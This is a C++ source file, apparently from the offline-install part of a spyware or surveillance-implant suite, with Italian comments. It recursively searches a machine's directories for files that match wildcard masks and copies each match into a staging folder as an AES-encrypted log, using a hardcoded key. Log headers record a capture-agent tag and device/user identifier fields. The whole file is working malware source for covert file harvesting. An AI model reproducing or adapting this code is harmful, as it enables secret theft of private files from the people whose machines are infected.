OfflineInstall/DumpFiles.cpp
#include "stdafx.h"
#include "aes_alg.h"
#include "commons.h"
#define CRYPT_COPY_BUF_LEN 102400
#define PM_FILEAGENT_CAPTURE 0x00000001
#define BLOCK_LEN 16
typedef struct _LogStruct{
UINT uVersion; // Versione della struttura
#define LOG_VERSION 2008121901
UINT uLogType; // Tipo di log
UINT uHTimestamp; // Parte alta del timestamp
UINT uLTimestamp; // Parte bassa del timestamp
UINT uDeviceIdLen; // IMEI/Hostname len
UINT uUserIdLen; // IMSI/Username len
UINT uSourceIdLen; // Numero del caller/IP len
UINT uAdditionalData; // Lunghezza della struttura addizionale, se presente
}LogStruct, *pLogStruct;
typedef struct _FileAdditionalData {
UINT uVersion;
#define LOG_FILE_VERSION 2008122901
UINT uFileNameLen;
} FileAdditionalData, *pFileAdditionalData;
BYTE global_key[]="\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11";
BYTE *Log_CreateHeader(DWORD agent_tag, BYTE *additional_data, DWORD additional_len, DWORD *out_len)
{
FILETIME tstamp;
WCHAR user_name[256];
WCHAR host_name[256];
DWORD header_len;
DWORD padded_len;
BYTE iv[BLOCK_LEN];
aes_context crypt_ctx;
BYTE *final_header, *ptr;
LogStruct log_header;
if (out_len)
*out_len = 0;
// Calcola i campi da mettere nell'header
memset(user_name, 0, sizeof(user_name));
memset(host_name, 0, sizeof(host_name));
user_name[0]=L'-';
host_name[0]=L'-';
GetSystemTimeAsFileTime(&tstamp);
// Riempie l'header
log_header.uDeviceIdLen = wcslen(host_name)*sizeof(WCHAR);
log_header.uUserIdLen = wcslen(user_name)*sizeof(WCHAR);
log_header.uSourceIdLen = 0;
if (additional_data)
log_header.uAdditionalData = additional_len;
else
log_header.uAdditionalData = 0;
log_header.uVersion = LOG_VERSION;
log_header.uHTimestamp = tstamp.dwHighDateTime;
log_header.uLTimestamp = tstamp.dwLowDateTime;
log_header.uLogType = agent_tag;
// Calcola la lunghezza totale dell'header e il padding
header_len = sizeof(LogStruct) + log_header.uDeviceIdLen + log_header.uUserIdLen + log_header.uSourceIdLen + log_header.uAdditionalData;
padded_len = header_len;
if (padded_len % BLOCK_LEN) {
padded_len /= BLOCK_LEN;
padded_len++;
padded_len *= BLOCK_LEN;
}
padded_len += sizeof(DWORD);
if (padded_len < header_len)
return NULL;
final_header = (BYTE *)malloc(padded_len);
if (!final_header)
return NULL;
ptr = final_header;
// Scrive l'header
header_len = padded_len - sizeof(DWORD);
header_len |= 0x80000000; // Setta il bit alto per distinguerlo dagli altri tipi di log
memcpy(ptr, &header_len, sizeof(DWORD));
ptr += sizeof(DWORD);
memcpy(ptr, &log_header, sizeof(log_header));
ptr += sizeof(log_header);
memcpy(ptr, host_name, log_header.uDeviceIdLen);
ptr += log_header.uDeviceIdLen;
memcpy(ptr, user_name, log_header.uUserIdLen);
ptr += log_header.uUserIdLen;
if (additional_data)
memcpy(ptr, additional_data, additional_len);
// Cifra l'header (la prima DWORD e' in chiaro)
memset(iv, 0, sizeof(iv));
aes_set_key( &crypt_ctx, global_key, 128);
aes_cbc_encrypt(&crypt_ctx, iv, final_header+sizeof(DWORD), final_header+sizeof(DWORD), padded_len-sizeof(DWORD));
if (out_len)
*out_len = padded_len;
return final_header;
}
BYTE *EncryptBuffer(BYTE *buff, DWORD buff_len, DWORD *crypt_len)
{
DWORD *ptr; // Indice nel buffer cifrato
BYTE *crypt_buff;
DWORD tot_len;
aes_context crypt_ctx;
BYTE iv[BLOCK_LEN];
tot_len = buff_len;
if (tot_len % BLOCK_LEN) {
tot_len /= BLOCK_LEN;
tot_len++;
tot_len *= BLOCK_LEN;
}
tot_len += sizeof(DWORD);
// Check overflow
if (tot_len < buff_len)
return NULL;
// Alloca il buffer
crypt_buff = (BYTE *)malloc(tot_len);
if (!crypt_buff)
return NULL;
*crypt_len = tot_len;
// Copia la lunghezza originale
ptr = (DWORD *)crypt_buff;
*ptr = buff_len;
ptr++;
// Copia il buffer in chiaro (rimarranno dei byte di padding
// inutilizzati).
memcpy(ptr, buff, buff_len);
memset(iv, 0, sizeof(iv));
aes_set_key( &crypt_ctx, global_key, 128);
// Cifra tutto il blocco
aes_cbc_encrypt(&crypt_ctx, iv, (BYTE *)ptr, (BYTE *)ptr, tot_len-sizeof(DWORD));
return crypt_buff;
}
BOOL Log_WriteFile(HANDLE handle, BYTE *clear_buffer, DWORD clear_len)
{
DWORD dwTmp;
BOOL ret_val;
DWORD crypt_len = 0;
BYTE *crypt_buffer = NULL;
if (handle == INVALID_HANDLE_VALUE || clear_len == 0 || clear_buffer == NULL)
return FALSE;
if (!(crypt_buffer = EncryptBuffer(clear_buffer, clear_len, &crypt_len))) {
SAFE_FREE(crypt_buffer);
return FALSE;
}
ret_val = WriteFile(handle, crypt_buffer, crypt_len, &dwTmp, NULL);
SAFE_FREE(crypt_buffer);
return ret_val;
}
WCHAR *CompleteDirectoryPath(WCHAR *start_path, WCHAR *file_name, WCHAR *dest_path)
{
WCHAR *term;
_snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s", start_path);
if ( (term = wcsrchr(dest_path, L'\\')) ) {
term++;
*term = NULL;
_snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s%s", dest_path, file_name);
}
return dest_path;
}
WCHAR *RecurseDirectory(WCHAR *start_path, WCHAR *recurse_path)
{
_snwprintf_s(recurse_path, MAX_PATH, _TRUNCATE, L"%s\\*", start_path);
return recurse_path;
}
void CaptureFile(WCHAR *file_path, WCHAR *dest_dir)
{
static DWORD i = 0;
FileAdditionalData *file_additional_data;
BYTE *log_file_header;
BYTE *temp_buff;
DWORD header_len;
DWORD dwRead;
FILETIME time_nanosec;
WCHAR dest_file_path[MAX_PATH];
HANDLE shfile, dhfile;
if ( !(file_additional_data = (FileAdditionalData *)malloc(sizeof(FileAdditionalData) + wcslen(file_path) * sizeof(WCHAR))))
return;
file_additional_data->uVersion = LOG_FILE_VERSION;
file_additional_data->uFileNameLen = wcslen(file_path) * sizeof(WCHAR);
memcpy(file_additional_data+1, file_path, file_additional_data->uFileNameLen);
log_file_header = Log_CreateHeader(PM_FILEAGENT_CAPTURE, (BYTE *)file_additional_data, file_additional_data->uFileNameLen + sizeof(FileAdditionalData), &header_len);
SAFE_FREE(file_additional_data);
if (!log_file_header)
return;
GetSystemTimeAsFileTime(&time_nanosec);
_snwprintf_s(dest_file_path, sizeof(dest_file_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%.4X%.8X%.8X.log", dest_dir, i++, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
dhfile = CreateFileW(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (dhfile == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
return;
}
shfile = CreateFileW(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (shfile == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
CloseHandle(dhfile);
return;
}
if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
SAFE_FREE(log_file_header);
CloseHandle(shfile);
CloseHandle(dhfile);
return;
}
if (WriteFile(dhfile, log_file_header, header_len, &dwRead, NULL)) {
LOOP {
dwRead = 0;
if (!ReadFile(shfile, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
break;
if (!Log_WriteFile(dhfile, temp_buff, dwRead))
break;
}
}
SAFE_FREE(temp_buff);
SAFE_FREE(log_file_header);
CloseHandle(shfile);
CloseHandle(dhfile);
}
BOOL FileMatchMask(WCHAR *file_name, WCHAR **masks)
{
if (!masks || !file_name)
return FALSE;
for (DWORD i=0; masks[i]; i++)
if (CmpWildW(masks[i], file_name))
return TRUE;
return FALSE;
}
void ExploreDirectoryAndCapture(WCHAR *start_path, DWORD depth, WCHAR **masks, WCHAR *dest_dir)
{
WIN32_FIND_DATAW finddata;
HANDLE hfind;
WCHAR file_path[MAX_PATH], recurse_path[MAX_PATH];
if (depth==0)
return;
hfind = FindFirstFileW(start_path, &finddata);
if (hfind == INVALID_HANDLE_VALUE)
return;
do {
if (!wcscmp(finddata.cFileName, L".") || !wcscmp(finddata.cFileName, L"..") || !_wcsicmp(finddata.cFileName, L"Temporary Internet Files") ||
!_wcsicmp(finddata.cFileName, L"AppData") || !_wcsicmp(finddata.cFileName, L"Local Settings") ||
!_wcsicmp(finddata.cFileName, L"Application Data") || !_wcsicmp(finddata.cFileName, L"Cookies"))
continue;
CompleteDirectoryPath(start_path, finddata.cFileName, file_path);
if (finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
ExploreDirectoryAndCapture(RecurseDirectory(file_path, recurse_path), depth-1, masks, dest_dir);
else if (FileMatchMask(finddata.cFileName, masks))
CaptureFile(file_path, dest_dir);
} while(FindNextFileW(hfind, &finddata));
FindClose(hfind);
}
WCHAR **PopulateMasks(WCHAR *patterns)
{
WCHAR *l_patterns = NULL;
WCHAR *ptr, *end;
WCHAR **masks = NULL;
DWORD p_count = 0, i;
if (!patterns)
return NULL;
if (!(l_patterns = _wcsdup(patterns)))
return NULL;
for(ptr=l_patterns, p_count=1; ptr=wcschr(ptr, L'|'); p_count++, ptr++);
if (!(masks = (WCHAR **)calloc(p_count+1, sizeof(WCHAR *)))) {
SAFE_FREE(l_patterns);
return NULL;
}
ptr = l_patterns;
i = 0;
LOOP {
if (end = wcschr(ptr, L'|'))
*end = 0;
masks[i] = _wcsdup(ptr);
if (!end)
break;
ptr = end+1;
i++;
}
SAFE_FREE(l_patterns);
return masks;
}
void FreeMasks(WCHAR **masks)
{
for (DWORD i=0; masks[i]; i++)
SAFE_FREE(masks[i]);
}